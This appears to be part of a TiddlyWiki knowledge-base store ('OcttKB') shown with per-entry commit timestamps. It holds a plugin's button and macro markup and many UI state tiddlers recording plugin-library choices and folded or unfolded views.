\"$:/plugins/tobibeer/inc/toolbar\": {\n \"title\": \"$:/plugins/tobibeer/inc/toolbar\",\n \"text\": \"$:/plugins/tobibeer/inc/buttons/open\\n\\n$:/core/ui/Buttons/edit\\n\\n$:/core/ui/Buttons/delete\"\n }\n }\n}"},
2023-01-27 17:19:30 +00:00
{"created":"20230127155331514","creator":"Octt","text":"\u003C$button tooltip=\"Open this tiddler\" class=\u003C\u003Ctv-config-toolbar-class>>>\n\u003C$action-navigate/>\n\u003C$list filter=\"[\u003Ctv-config-toolbar-icons>prefix[yes]]\">\n{{$:/core/images/down-arrow}}\n\u003C/$list>\n\u003C$list filter=\"[\u003Ctv-config-toolbar-text>prefix[yes]]\">\n\u003Cspan class=\"tc-btn-text\">open\u003C/span>\n\u003C/$list>\n\u003C/$button>","title":"$:/plugins/tobibeer/inc/buttons/open","modified":"20230127155404686","modifier":"Octt"},
{"created":"20230127155457773","creator":"Octt","text":"\\define tb-inc(tiddler)\n\u003C!-- \u003Cdiv class=\"tb-inc\" title=\"\"\"transcluded tiddler '$tiddler$'\"\"\"> -->\n\u003Cdiv class=\"tb-inc\">\n\u003C$tiddler tiddler=\"\"\"$tiddler$\"\"\">\n\u003Cdiv class=\"tb-inc-controls tc-tiddler-controls\">\n\u003C$list filter=\"[list[$:/plugins/tobibeer/inc/toolbar!!text]]\" variable=\"listItem\">\u003C$transclude tiddler=\u003C\u003ClistItem>>/>\u003C/$list>\n\u003C/div>\n\u003Cdiv class=\"tb-inc-tiddler\">\n\u003C$transclude mode=block/>\n\u003C/div>\n\u003C/$tiddler>\n\u003C/div>\n\\end\n\\define {(tiddler)\n\u003C$reveal type=\"match\" text=\"\"\"$tiddler$\"\"\" default=\"\">\n\u003C$macrocall $name=\"tb-inc\" tiddler=\u003C\u003CcurrentTiddler>>/>\n\u003C/$reveal>\n\u003C$reveal type=\"nomatch\" text=\"\"\"$tiddler$\"\"\" default=\"\">\n\u003C$macrocall $name=\"tb-inc\" tiddler=\"\"\"$tiddler$\"\"\"/>\n\u003C/$reveal>\n\\end","title":"$:/plugins/tobibeer/inc/macro","tags":"$:/tags/Macro","modified":"20230127155554126","modifier":"Octt"},
2023-01-10 23:03:54 +00:00
{"created":"20220920084517972","text":"Octt Knowledge Base || // Static version available at [ext[./Static.html]].//","title":"$:/SiteSubtitle","modified":"20230110220531245"},
{"created":"20220920084457368","title":"$:/SiteTitle","text":"OcttKB","modified":"20220920084507769"},
2023-01-17 13:05:45 +00:00
{"created":"20230117124854056","creator":"Octt","title":"$:/state/add-plugin-info/$:/temp/ServerConnection/https://tiddly-gittly.github.io/TiddlyWiki-CPL/library/index.html/$:/temp/RemoteAssetInfo/https://tiddly-gittly.github.io/TiddlyWiki-CPL/library/index.html/$:/plugins/ahahn/tinka","text":"no","modified":"20230117124857465","modifier":"Octt"},
2023-01-16 22:23:56 +00:00
{"created":"20230116211857857","title":"$:/state/add-plugin-info/$:/temp/ServerConnection/https://tiddly-gittly.github.io/TiddlyWiki-CPL/library/index.html/$:/temp/RemoteAssetInfo/https://tiddly-gittly.github.io/TiddlyWiki-CPL/library/index.html/$:/plugins/bimlas/locator","text":"no","modified":"20230116211905602"},
2023-01-14 23:57:47 +00:00
{"created":"20230114232634691","title":"$:/state/add-plugin-info/$:/temp/ServerConnection/https://tiddly-gittly.github.io/TiddlyWiki-CPL/library/index.html/$:/temp/RemoteAssetInfo/https://tiddly-gittly.github.io/TiddlyWiki-CPL/library/index.html/$:/plugins/flibbles/relink","text":"yes","modified":"20230114232634691"},
{"created":"20230114232642060","title":"$:/state/add-plugin-info/$:/temp/ServerConnection/https://tiddly-gittly.github.io/TiddlyWiki-CPL/library/index.html/$:/temp/RemoteAssetInfo/https://tiddly-gittly.github.io/TiddlyWiki-CPL/library/index.html/$:/plugins/flibbles/relink-titles","text":"yes","modified":"20230114232642060"},
2023-01-24 12:09:08 +00:00
{"created":"20230114232107020","creator":"Octt","title":"$:/state/add-plugin-info/$:/temp/ServerConnection/https://tiddly-gittly.github.io/TiddlyWiki-CPL/library/index.html/$:/temp/RemoteAssetInfo/https://tiddly-gittly.github.io/TiddlyWiki-CPL/library/index.html/$:/plugins/Gk0Wk/echarts","text":"no","modified":"20230124112832696","modifier":"Octt"},
2023-01-14 23:57:47 +00:00
{"created":"20230114232123587","title":"$:/state/add-plugin-info/$:/temp/ServerConnection/https://tiddly-gittly.github.io/TiddlyWiki-CPL/library/index.html/$:/temp/RemoteAssetInfo/https://tiddly-gittly.github.io/TiddlyWiki-CPL/library/index.html/$:/plugins/Gk0Wk/echarts-gl","text":"no","modified":"20230114232132523"},
{"created":"20230114232116851","title":"$:/state/add-plugin-info/$:/temp/ServerConnection/https://tiddly-gittly.github.io/TiddlyWiki-CPL/library/index.html/$:/temp/RemoteAssetInfo/https://tiddly-gittly.github.io/TiddlyWiki-CPL/library/index.html/$:/plugins/Gk0Wk/echarts-stat","text":"no","modified":"20230114232121115"},
2023-01-17 13:05:45 +00:00
{"created":"20230117124832007","creator":"Octt","title":"$:/state/add-plugin-info/$:/temp/ServerConnection/https://tiddly-gittly.github.io/TiddlyWiki-CPL/library/index.html/$:/temp/RemoteAssetInfo/https://tiddly-gittly.github.io/TiddlyWiki-CPL/library/index.html/$:/plugins/Gk0Wk/notionpage-backlink","text":"no","modified":"20230117124832968","modifier":"Octt"},
{"created":"20230117124901601","creator":"Octt","title":"$:/state/add-plugin-info/$:/temp/ServerConnection/https://tiddly-gittly.github.io/TiddlyWiki-CPL/library/index.html/$:/temp/RemoteAssetInfo/https://tiddly-gittly.github.io/TiddlyWiki-CPL/library/index.html/$:/plugins/HCHaase/TOCgeneric","text":"no","modified":"20230117124907888","modifier":"Octt"},
2023-01-24 12:09:08 +00:00
{"created":"20230124112536686","creator":"Octt","title":"$:/state/add-plugin-info/$:/temp/ServerConnection/https://tiddly-gittly.github.io/TiddlyWiki-CPL/library/index.html/$:/temp/RemoteAssetInfo/https://tiddly-gittly.github.io/TiddlyWiki-CPL/library/index.html/$:/plugins/innoq/ace","text":"yes","modified":"20230124112536686","modifier":"Octt"},
2023-01-16 22:23:56 +00:00
{"created":"20230114232623300","title":"$:/state/add-plugin-info/$:/temp/ServerConnection/https://tiddly-gittly.github.io/TiddlyWiki-CPL/library/index.html/$:/temp/RemoteAssetInfo/https://tiddly-gittly.github.io/TiddlyWiki-CPL/library/index.html/$:/plugins/kookma/commander","text":"yes","modified":"20230116211923298"},
2023-01-14 23:57:47 +00:00
{"created":"20230114232152923","title":"$:/state/add-plugin-info/$:/temp/ServerConnection/https://tiddly-gittly.github.io/TiddlyWiki-CPL/library/index.html/$:/temp/RemoteAssetInfo/https://tiddly-gittly.github.io/TiddlyWiki-CPL/library/index.html/$:/plugins/kookma/utility","text":"no","modified":"20230114232442987"},
2023-01-24 12:09:08 +00:00
{"created":"20230124112645676","creator":"Octt","title":"$:/state/add-plugin-info/$:/temp/ServerConnection/https://tiddly-gittly.github.io/TiddlyWiki-CPL/library/index.html/$:/temp/RemoteAssetInfo/https://tiddly-gittly.github.io/TiddlyWiki-CPL/library/index.html/$:/plugins/linonetwo/zx-script","text":"no","modified":"20230124112709563","modifier":"Octt"},
2023-01-16 22:23:56 +00:00
{"created":"20230114231944260","title":"$:/state/add-plugin-info/$:/temp/ServerConnection/https://tiddly-gittly.github.io/TiddlyWiki-CPL/library/index.html/$:/temp/RemoteAssetInfo/https://tiddly-gittly.github.io/TiddlyWiki-CPL/library/index.html/$:/plugins/miao/tw-2048","text":"no","modified":"20230116211840736"},
2023-01-17 13:05:45 +00:00
{"created":"20230117124824928","creator":"Octt","title":"$:/state/add-plugin-info/$:/temp/ServerConnection/https://tiddly-gittly.github.io/TiddlyWiki-CPL/library/index.html/$:/temp/RemoteAssetInfo/https://tiddly-gittly.github.io/TiddlyWiki-CPL/library/index.html/$:/plugins/Modern.TiddlyDev/doc","text":"no","modified":"20230117124828343","modifier":"Octt"},
{"created":"20230117124910256","creator":"Octt","title":"$:/state/add-plugin-info/$:/temp/ServerConnection/https://tiddly-gittly.github.io/TiddlyWiki-CPL/library/index.html/$:/temp/RemoteAssetInfo/https://tiddly-gittly.github.io/TiddlyWiki-CPL/library/index.html/$:/plugins/tg/toolbar","text":"no","modified":"20230117124917881","modifier":"Octt"},
2023-01-24 12:09:08 +00:00
{"created":"20230124112816312","creator":"Octt","title":"$:/state/add-plugin-info/$:/temp/ServerConnection/https://tiddly-gittly.github.io/TiddlyWiki-CPL/library/index.html/$:/temp/RemoteAssetInfo/https://tiddly-gittly.github.io/TiddlyWiki-CPL/library/index.html/$:/plugins/tiddlywiki/qrcode","text":"no","modified":"20230124112824008","modifier":"Octt"},
2023-01-14 23:57:47 +00:00
{"created":"20230114232200219","title":"$:/state/add-plugin-info/$:/temp/ServerConnection/https://tiddly-gittly.github.io/TiddlyWiki-CPL/library/index.html/$:/temp/RemoteAssetInfo/https://tiddly-gittly.github.io/TiddlyWiki-CPL/library/index.html/$:/plugins/wikilabs/uni-link","text":"no","modified":"20230114232441603"},
2023-01-17 13:05:45 +00:00
{"created":"20230117124835320","creator":"Octt","title":"$:/state/add-plugin-info/$:/temp/ServerConnection/https://tiddly-gittly.github.io/TiddlyWiki-CPL/library/index.html/$:/temp/RemoteAssetInfo/https://tiddly-gittly.github.io/TiddlyWiki-CPL/library/index.html/$:/plugins/xp/quickbar","text":"no","modified":"20230117124845599","modifier":"Octt"},
2023-01-12 19:30:05 +00:00
{"created":"20230112164411567","title":"$:/state/add-plugin-info/$:/temp/ServerConnection/https://tiddlywiki.com/library/v5.2.3/index.html/$:/temp/RemoteAssetInfo/https://tiddlywiki.com/library/v5.2.3/index.html/$:/plugins/tiddlywiki/async","text":"no","modified":"20230112164413703"},
2023-01-08 20:13:51 +00:00
{"created":"20230108200138259","title":"$:/state/add-plugin-info/$:/temp/ServerConnection/https://tiddlywiki.com/library/v5.2.3/index.html/$:/temp/RemoteAssetInfo/https://tiddlywiki.com/library/v5.2.3/index.html/$:/plugins/tiddlywiki/blog","text":"no","modified":"20230108200140755"},
2022-11-09 14:34:44 +00:00
{"created":"20221109142850675","title":"$:/state/add-plugin-info/$:/temp/ServerConnection/https://tiddlywiki.com/library/v5.2.3/index.html/$:/temp/RemoteAssetInfo/https://tiddlywiki.com/library/v5.2.3/index.html/$:/plugins/tiddlywiki/browser-storage","text":"no","modified":"20221109142857755"},
2023-01-08 20:13:51 +00:00
{"created":"20230108200150387","title":"$:/state/add-plugin-info/$:/temp/ServerConnection/https://tiddlywiki.com/library/v5.2.3/index.html/$:/temp/RemoteAssetInfo/https://tiddlywiki.com/library/v5.2.3/index.html/$:/plugins/tiddlywiki/cecily","text":"no","modified":"20230108200202563"},
2022-11-08 10:14:14 +00:00
{"created":"20221104182020034","title":"$:/state/add-plugin-info/$:/temp/ServerConnection/https://tiddlywiki.com/library/v5.2.3/index.html/$:/temp/RemoteAssetInfo/https://tiddlywiki.com/library/v5.2.3/index.html/$:/plugins/tiddlywiki/codemirror","text":"no","modified":"20221108100357412"},
2022-11-04 18:23:03 +00:00
{"created":"20221104182133139","title":"$:/state/add-plugin-info/$:/temp/ServerConnection/https://tiddlywiki.com/library/v5.2.3/index.html/$:/temp/RemoteAssetInfo/https://tiddlywiki.com/library/v5.2.3/index.html/$:/plugins/tiddlywiki/codemirror-fullscreen","text":"no","modified":"20221104182138395"},
2023-01-14 23:57:47 +00:00
{"created":"20221108100403434","title":"$:/state/add-plugin-info/$:/temp/ServerConnection/https://tiddlywiki.com/library/v5.2.3/index.html/$:/temp/RemoteAssetInfo/https://tiddlywiki.com/library/v5.2.3/index.html/$:/plugins/tiddlywiki/comments","text":"yes","modified":"20230114232532659"},
2023-01-08 20:13:51 +00:00
{"created":"20221108100414623","title":"$:/state/add-plugin-info/$:/temp/ServerConnection/https://tiddlywiki.com/library/v5.2.3/index.html/$:/temp/RemoteAssetInfo/https://tiddlywiki.com/library/v5.2.3/index.html/$:/plugins/tiddlywiki/dynannotate","text":"no","modified":"20230108200210779"},
2023-01-16 22:23:56 +00:00
{"created":"20230116211753384","title":"$:/state/add-plugin-info/$:/temp/ServerConnection/https://tiddlywiki.com/library/v5.2.3/index.html/$:/temp/RemoteAssetInfo/https://tiddlywiki.com/library/v5.2.3/index.html/$:/plugins/tiddlywiki/freelinks","text":"yes","modified":"20230116211753384"},
2023-01-08 20:13:51 +00:00
{"created":"20230108200227620","title":"$:/state/add-plugin-info/$:/temp/ServerConnection/https://tiddlywiki.com/library/v5.2.3/index.html/$:/temp/RemoteAssetInfo/https://tiddlywiki.com/library/v5.2.3/index.html/$:/plugins/tiddlywiki/github-fork-ribbon","text":"no","modified":"20230108200240469"},
2022-11-09 14:34:44 +00:00
{"created":"20221109142919515","title":"$:/state/add-plugin-info/$:/temp/ServerConnection/https://tiddlywiki.com/library/v5.2.3/index.html/$:/temp/RemoteAssetInfo/https://tiddlywiki.com/library/v5.2.3/index.html/$:/plugins/tiddlywiki/internals","text":"no","modified":"20221109143020955"},
2022-11-08 10:14:14 +00:00
{"created":"20221108100451117","title":"$:/state/add-plugin-info/$:/temp/ServerConnection/https://tiddlywiki.com/library/v5.2.3/index.html/$:/temp/RemoteAssetInfo/https://tiddlywiki.com/library/v5.2.3/index.html/$:/plugins/tiddlywiki/menubar","text":"no","modified":"20221108100454250"},
2022-11-04 18:23:03 +00:00
{"created":"20221104182054683","title":"$:/state/add-plugin-info/$:/temp/ServerConnection/https://tiddlywiki.com/library/v5.2.3/index.html/$:/temp/RemoteAssetInfo/https://tiddlywiki.com/library/v5.2.3/index.html/$:/plugins/tiddlywiki/qrcode","text":"no","modified":"20221104182106443"},
2022-11-08 10:14:14 +00:00
{"created":"20221108100501050","title":"$:/state/add-plugin-info/$:/temp/ServerConnection/https://tiddlywiki.com/library/v5.2.3/index.html/$:/temp/RemoteAssetInfo/https://tiddlywiki.com/library/v5.2.3/index.html/$:/plugins/tiddlywiki/railroad","text":"no","modified":"20221108100512614"},
2023-01-14 23:57:47 +00:00
{"created":"20230114232541939","title":"$:/state/add-plugin-info/$:/temp/ServerConnection/https://tiddlywiki.com/library/v5.2.3/index.html/$:/temp/RemoteAssetInfo/https://tiddlywiki.com/library/v5.2.3/index.html/$:/plugins/tiddlywiki/savetrail","text":"no","modified":"20230114232542539"},
2022-11-09 14:34:44 +00:00
{"created":"20221109142951715","title":"$:/state/add-plugin-info/$:/temp/ServerConnection/https://tiddlywiki.com/library/v5.2.3/index.html/$:/temp/RemoteAssetInfo/https://tiddlywiki.com/library/v5.2.3/index.html/$:/plugins/tiddlywiki/text-slicer","text":"no","modified":"20221109143012195"},
{"created":"20221109143009499","title":"$:/state/add-plugin-info/$:/temp/ServerConnection/https://tiddlywiki.com/library/v5.2.3/index.html/$:/temp/RemoteAssetInfo/https://tiddlywiki.com/library/v5.2.3/index.html/$:/plugins/tiddlywiki/tw2parser","text":"no","modified":"20221109143010211"},
{"created":"20221109143004274","title":"$:/state/add-plugin-info/$:/temp/ServerConnection/https://tiddlywiki.com/library/v5.2.3/index.html/$:/temp/RemoteAssetInfo/https://tiddlywiki.com/library/v5.2.3/index.html/$:/plugins/tiddlywiki/tw5.com-docs","text":"no","modified":"20221109143005435"},
{"created":"20221108100524743","title":"$:/state/add-plugin-info/$:/temp/ServerConnection/https://tiddlywiki.com/library/v5.2.3/index.html/$:/temp/RemoteAssetInfo/https://tiddlywiki.com/library/v5.2.3/index.html/$:/plugins/tiddlywiki/xlsx-utils","text":"no","modified":"20221109143007747"},
2023-01-08 20:13:51 +00:00
{"created":"20230108200252323","title":"$:/state/add-plugin-info/$:/temp/ServerConnection/https://tiddlywiki.com/library/v5.2.3/index.html/$:/temp/RemoteAssetInfo/https://tiddlywiki.com/library/v5.2.3/index.html/$:/plugins/tiddlywiki/xmldom","text":"no","modified":"20230108200257364"},
2023-01-16 22:23:56 +00:00
{"created":"20230116211824537","title":"$:/state/add-plugin-info/$:/temp/ServerConnection/https://tobibeer.github.io/tw5-plugins/library/index.html/$:/temp/RemoteAssetInfo/https://tobibeer.github.io/tw5-plugins/library/index.html/$:/plugins/tobibeer/hash","text":"no","modified":"20230116211829680"},
2023-01-26 11:17:34 +00:00
{"created":"20230126105040295","creator":"Octt","title":"$:/state/add-plugin-info/$:/temp/ServerConnection/https://tobibeer.github.io/tw5-plugins/library/index.html/$:/temp/RemoteAssetInfo/https://tobibeer.github.io/tw5-plugins/library/index.html/$:/plugins/tobibeer/inc","text":"yes","modified":"20230126105040295","modifier":"Octt"},
2023-01-08 20:13:51 +00:00
{"created":"20230108200113123","title":"$:/state/add-plugin-info/$:/temp/ServerConnection/https://tobibeer.github.io/tw5-plugins/library/index.html/$:/temp/RemoteAssetInfo/https://tobibeer.github.io/tw5-plugins/library/index.html/$:/plugins/tobibeer/plantuml","text":"no","modified":"20230108200117260"},
{"created":"20230108200054788","title":"$:/state/add-plugin-info/$:/temp/ServerConnection/https://tobibeer.github.io/tw5-plugins/library/index.html/$:/temp/RemoteAssetInfo/https://tobibeer.github.io/tw5-plugins/library/index.html/$:/plugins/tobibeer/sparkl","text":"no","modified":"20230108200124531"},
2023-01-16 22:23:56 +00:00
{"created":"20221109144756834","title":"$:/state/add-plugin-info/$:/temp/ServerConnection/https://tobibeer.github.io/tw5-plugins/library/index.html/$:/temp/RemoteAssetInfo/https://tobibeer.github.io/tw5-plugins/library/index.html/$:/plugins/tobibeer/split","text":"yes","modified":"20230116211830913"},
2023-01-08 20:13:51 +00:00
{"created":"20221109162512951","title":"$:/state/add-plugin-info/$:/temp/ServerConnection/https://tobibeer.github.io/tw5-plugins/library/index.html/$:/temp/RemoteAssetInfo/https://tobibeer.github.io/tw5-plugins/library/index.html/$:/plugins/tobibeer/value","text":"no","modified":"20230108200106539"},
2023-01-26 11:17:34 +00:00
{"created":"20221109142817793","creator":"Octt","title":"$:/state/addplugins/tab-1342078386","text":"$:/pluginlibrary/tobibeer/official","modified":"20230126104809131","modifier":"Octt"},
2023-02-06 11:43:53 +00:00
{"created":"20230109143853256","creator":"Octt","title":"$:/state/advancedsearch/currentTab","text":"$:/core/ui/AdvancedSearch/Standard","modified":"20230206111222616","modifier":"Octt"},
2023-02-06 22:43:30 +00:00
{"created":"20230203222356189","creator":"Octt","title":"$:/state/commander/log-tiddler","text":"$:/temp/commander/logs/tid-2","modified":"20230206222355930","modifier":"Octt"},
{"created":"20230117113820190","creator":"Octt","title":"$:/state/commander/reveal/$:/plugins/kookma/commander/search/selection-668442618","text":"open","modified":"20230206203755250","modifier":"Octt"},
{"created":"20230203222519483","creator":"Octt","title":"$:/state/commander/snr/select-tiddler","text":"","modified":"20230206203921222","modifier":"Octt"},
{"created":"20230203222519484","creator":"Octt","title":"$:/state/compInspect/temp/commander/selectState-tiddler","text":"","modified":"20230206203921223","modifier":"Octt"},
2023-01-12 12:07:32 +00:00
{"created":"20230112111303249","title":"$:/state/edit/references--1005422481","text":"show","modified":"20230112111303250"},
2022-09-20 19:31:06 +00:00
{"created":"20220920193053266","title":"$:/state/edit/references--1487996250","text":"hide","modified":"20220920193054202"},
2023-01-24 19:45:38 +00:00
{"created":"20230124190502230","creator":"Octt","title":"$:/state/edit/references--1868471342","text":"hide","modified":"20230124190502918","modifier":"Octt"},
2023-01-09 23:37:27 +00:00
{"created":"20230109220441051","title":"$:/state/edit/references--2031574088","text":"show","modified":"20230109220446292"},
2023-01-24 15:01:45 +00:00
{"created":"20230124145100757","creator":"Octt","title":"$:/state/edit/references--2108521478","text":"hide","modified":"20230124145101414","modifier":"Octt"},
2023-01-08 20:13:51 +00:00
{"created":"20230108193538149","title":"$:/state/edit/references--330884492","text":"show","modified":"20230108193538149"},
2023-01-17 12:08:54 +00:00
{"created":"20230117115702890","title":"$:/state/edit/references--445683689","text":"show","modified":"20230117115702890"},
2023-02-02 19:49:55 +00:00
{"created":"20230202185801183","creator":"Octt","title":"$:/state/edit/references--541378154","text":"hide","modified":"20230202185802031","modifier":"Octt"},
2023-01-24 15:01:45 +00:00
{"created":"20230124142030324","creator":"Octt","title":"$:/state/edit/references--749415847","text":"hide","modified":"20230124142031621","modifier":"Octt"},
2023-01-10 11:28:10 +00:00
{"created":"20230110102542175","title":"$:/state/edit/references--797560378","text":"show","modified":"20230110102718417"},
2023-01-25 13:17:38 +00:00
{"created":"20230125114622100","creator":"Octt","title":"$:/state/edit/references--998929073","text":"show","modified":"20230125114622100","modifier":"Octt"},
2023-01-14 17:10:26 +00:00
{"created":"20230114161407836","title":"$:/state/edit/references-1289546159","text":"show","modified":"20230114161407836"},
2023-01-11 15:51:30 +00:00
{"created":"20230111153551736","title":"$:/state/edit/references-1341778059","text":"show","modified":"20230111153551736"},
2023-01-24 12:09:08 +00:00
{"created":"20230124105329811","creator":"Octt","title":"$:/state/edit/references-153965652","text":"show","modified":"20230124105329811","modifier":"Octt"},
2023-01-12 15:52:03 +00:00
{"created":"20230112154542269","title":"$:/state/edit/references-2099622070","text":"hide","modified":"20230112154544212"},
2023-01-24 19:45:38 +00:00
{"created":"20230124190347950","creator":"Octt","title":"$:/state/edit/references-2127483291","text":"hide","modified":"20230124190349085","modifier":"Octt"},
2023-01-12 22:51:23 +00:00
{"created":"20230112221558289","title":"$:/state/edit/references-332165217","text":"hide","modified":"20230112221559913"},
2023-02-06 11:43:53 +00:00
{"created":"20230206111640522","creator":"Octt","title":"$:/state/edit/references-592071530","text":"hide","modified":"20230206111642211","modifier":"Octt"},
{"created":"20230206112030434","creator":"Octt","title":"$:/state/edit/references-621007424","text":"hide","modified":"20230206112031367","modifier":"Octt"},
2023-01-10 23:03:54 +00:00
{"created":"20230110224547000","title":"$:/state/edit/references-828285479","text":"hide","modified":"20230110224548160"},
2023-01-16 22:23:56 +00:00
{"created":"20220920191756623","title":"$:/state/editpreviewtype","text":"$:/core/ui/EditTemplate/body/preview/output","modified":"20230116141039810"},
2023-01-09 17:07:11 +00:00
{"created":"20221108223526572","title":"$:/state/folded/$:/Apps/Dashboard/index.html","text":"hide","modified":"20230109162823352"},
2023-01-08 22:59:47 +00:00
{"created":"20230108200647964","title":"$:/state/folded/$:/ControlPanel","text":"show","modified":"20230108212807728"},
2023-01-29 13:17:12 +00:00
{"created":"20230126102445110","creator":"Octt","title":"$:/state/folded/$:/core/ui/ViewTemplate/title","text":"hide","modified":"20230129121717641","modifier":"Octt"},
{"created":"20230129123114372","creator":"Octt","title":"$:/state/folded/$:/core/ui/ViewTemplate/title/system","text":"show","modified":"20230129123149715","modifier":"Octt"},
2022-11-10 15:16:11 +00:00
{"created":"20221110131939563","title":"$:/state/folded/$:/Macros/b64TidUriEnc.js","text":"show","modified":"20221110151548461"},
2023-01-29 16:36:57 +00:00
{"created":"20230129153843401","creator":"Octt","title":"$:/state/folded/$:/Macros/Breadcrumbs/Main","text":"hide","modified":"20230129154045841","modifier":"Octt"},
2022-11-09 23:02:26 +00:00
{"created":"20221109221630590","title":"$:/state/folded/$:/Macros/Data","text":"show","modified":"20221109221631102"},
2023-01-29 00:07:39 +00:00
{"created":"20230126193705276","creator":"Octt","title":"$:/state/folded/$:/Macros/Directory","text":"hide","modified":"20230128224823610","modifier":"Octt"},
2023-01-12 12:07:32 +00:00
{"created":"20230112104535152","title":"$:/state/folded/$:/Macros/MediaWiki","text":"show","modified":"20230112104541859"},
2023-01-12 19:30:05 +00:00
{"created":"20230112185534487","title":"$:/state/folded/$:/Macros/MediaWiki/EmbedInternal.js","text":"show","modified":"20230112185948782"},
{"created":"20230112185529249","title":"$:/state/folded/$:/Macros/MediaWiki/GetCover.js","text":"show","modified":"20230112185947655"},
2023-01-24 15:01:45 +00:00
{"created":"20230124125425674","creator":"Octt","title":"$:/state/folded/$:/Macros/MediaWiki/Main","text":"show","modified":"20230124125426195","modifier":"Octt"},
2023-01-11 15:51:30 +00:00
{"created":"20230111110852928","title":"$:/state/folded/$:/Macros/MediaWikiEmbedInternal.js","text":"show","modified":"20230111153004630"},
2023-01-27 17:19:30 +00:00
{"created":"20230127160120797","creator":"Octt","title":"$:/state/folded/$:/Macros/Music Archiving Status","text":"show","modified":"20230127160121397","modifier":"Octt"},
2023-01-24 06:47:07 +00:00
{"created":"20230117111610562","creator":"Octt","title":"$:/state/folded/$:/OcttKB/bachecoctt.md.old","text":"hide","modified":"20230124063851111","modifier":"Octt"},
2023-01-25 22:30:40 +00:00
{"created":"20230125175038342","creator":"Octt","title":"$:/state/folded/$:/OcttKB/Functions.js","text":"show","modified":"20230125215928280","modifier":"Octt"},
2023-01-27 17:19:30 +00:00
{"created":"20230127155216876","creator":"Octt","title":"$:/state/folded/$:/plugins/tobibeer/inc/macro","text":"hide","modified":"20230127155216877","modifier":"Octt"},
{"created":"20230127171405990","creator":"Octt","title":"$:/state/folded/$:/Styles/bilibili-back-to-top.html","text":"show","modified":"20230127171501350","modifier":"Octt"},
2023-01-11 15:51:30 +00:00
{"created":"20230111080840168","title":"$:/state/folded/$:/Styles/Main.css","text":"show","modified":"20230111152951359"},
{"created":"20230111145020050","title":"$:/state/folded/$:/Styles/View/10-Missing.xml","text":"show","modified":"20230111145030153"},
2023-01-26 11:17:34 +00:00
{"created":"20230125175041382","creator":"Octt","title":"$:/state/folded/$:/Styles/View/2-10-Breadcrumbs.xml","text":"hide","modified":"20230126092910726","modifier":"Octt"},
2023-01-29 13:17:12 +00:00
{"created":"20230126171918087","creator":"Octt","title":"$:/state/folded/$:/Styles/View/9-10-Missing.xml","text":"hide","modified":"20230129122412969","modifier":"Octt"},
2023-01-25 17:58:21 +00:00
{"created":"20230125165303521","creator":"Octt","title":"$:/state/folded/$:/Test","text":"hide","modified":"20230125165303521","modifier":"Octt"},
{"created":"20230125173205210","creator":"Octt","title":"$:/state/folded/$:/Tests","text":"hide","modified":"20230125173205210","modifier":"Octt"},
2023-01-10 23:03:54 +00:00
{"created":"20230110193807228","title":"$:/state/folded/$:/themes/tiddlywiki/vanilla/base","text":"hide","modified":"20230110193807228"},
2023-01-13 11:22:30 +00:00
{"created":"20230113112141976","title":"$:/state/folded/$:/ThirdParty/Libs/x-frame-bypass.js","text":"show","modified":"20230113112151332"},
2023-01-24 22:56:26 +00:00
{"created":"20230124214130566","creator":"Octt","title":"$:/state/folded/3D Pinball:en","text":"show","modified":"20230124214131110","modifier":"Octt"},
2023-01-10 17:13:28 +00:00
{"created":"20221109160724924","title":"$:/state/folded/Apps/Dashboard","text":"show","modified":"20230110154641240"},
2023-01-26 20:25:57 +00:00
{"created":"20230126172151494","creator":"Octt","title":"$:/state/folded/Internet Archive","text":"show","modified":"20230126172153334","modifier":"Octt"},
2023-01-14 17:10:26 +00:00
{"created":"20230114154425601","title":"$:/state/folded/Pixelfed:en","text":"show","modified":"20230114154426183"},
2023-01-10 18:31:44 +00:00
{"created":"20230110175216808","title":"$:/state/folded/Spacc:en","text":"show","modified":"20230110175217847"},
2023-01-13 23:13:05 +00:00
{"created":"20230113221307902","title":"$:/state/folded/TiddlyWiki:en","text":"show","modified":"20230113225104390"},
2023-01-14 23:57:47 +00:00
{"created":"20230114234642644","title":"$:/state/folded/Web Apps","text":"show","modified":"20230114234643934"},
2023-01-12 15:52:03 +00:00
{"created":"20230112154323093","title":"$:/state/folded/Wikitext:en","text":"show","modified":"20230112154513195"},
2023-01-17 13:05:45 +00:00
{"created":"20230117125427145","creator":"Octt","title":"$:/state/importpreviewtype","text":"$:/core/ui/ImportPreviews/Text","modified":"20230117125442366","modifier":"Octt"},
2022-11-10 17:24:10 +00:00
{"created":"20221110171524786","title":"$:/state/internals/preview/mode--1366857307","text":"block","modified":"20221110171531070"},
{"created":"20221110171508560","title":"$:/state/internals/preview/mode-1323288458","text":"block","modified":"20221110171509895"},
2022-11-09 14:49:12 +00:00
{"created":"20221109143718655","title":"$:/state/internals/preview/mode-1972228014","text":"block","modified":"20221109143723388"},
2022-09-20 19:31:06 +00:00
{"created":"20220920192434882","text":"yes","title":"$:/state/palettemanager/showexternal","modified":"20220920192436305"},
2023-01-08 20:13:51 +00:00
{"created":"20230108195805346","title":"$:/state/plugin-info--1093596282-$:/plugins/tiddlywiki/text-slicer---645160546","text":"docs","modified":"20230108195806242"},
{"created":"20230108200031179","title":"$:/state/plugin-info--1142360890-$:/plugins/tiddlywiki/internals---1137124216","text":"readme","modified":"20230108200031755"},
2023-01-10 17:13:28 +00:00
{"created":"20230108195742042","title":"$:/state/plugin-info--1198616570-$:/plugins/tiddlywiki/sax--581236916","text":"readme","modified":"20230110151436255"},
2023-01-08 22:59:47 +00:00
{"created":"20230108212813247","title":"$:/state/plugin-info--1704486200-$:/plugins/tiddlywiki/github-fork-ribbon--432450505","text":"contents","modified":"20230108212934488"},
2023-01-16 22:23:56 +00:00
{"created":"20230116211956416","title":"$:/state/plugin-info--506288826-$:/plugins/kookma/commander---1769462396","text":"contents","modified":"20230116211957624"},
2022-11-09 23:02:26 +00:00
{"created":"20221109225117598","title":"$:/state/plugin-info--649947512-$:/plugins/tobibeer/base64---1531467439","text":"contents","modified":"20221109225117598"},
2023-01-25 13:17:38 +00:00
{"created":"20230124125353011","creator":"Octt","title":"$:/state/plugin-info--700587726-$:/plugins/Gk0Wk/focused-tiddler","text":"no","modified":"20230125114707613","modifier":"Octt"},
2023-01-24 15:01:45 +00:00
{"created":"20230124125359770","creator":"Octt","title":"$:/state/plugin-info--700587726-$:/plugins/Gk0Wk/focused-tiddler--457376892","text":"contents","modified":"20230124125359770","modifier":"Octt"},
2023-01-17 13:05:45 +00:00
{"created":"20230117123854086","creator":"Octt","title":"$:/state/plugin-info--700587726-$:/plugins/tiddlywiki/codemirror","text":"no","modified":"20230117124514790","modifier":"Octt"},
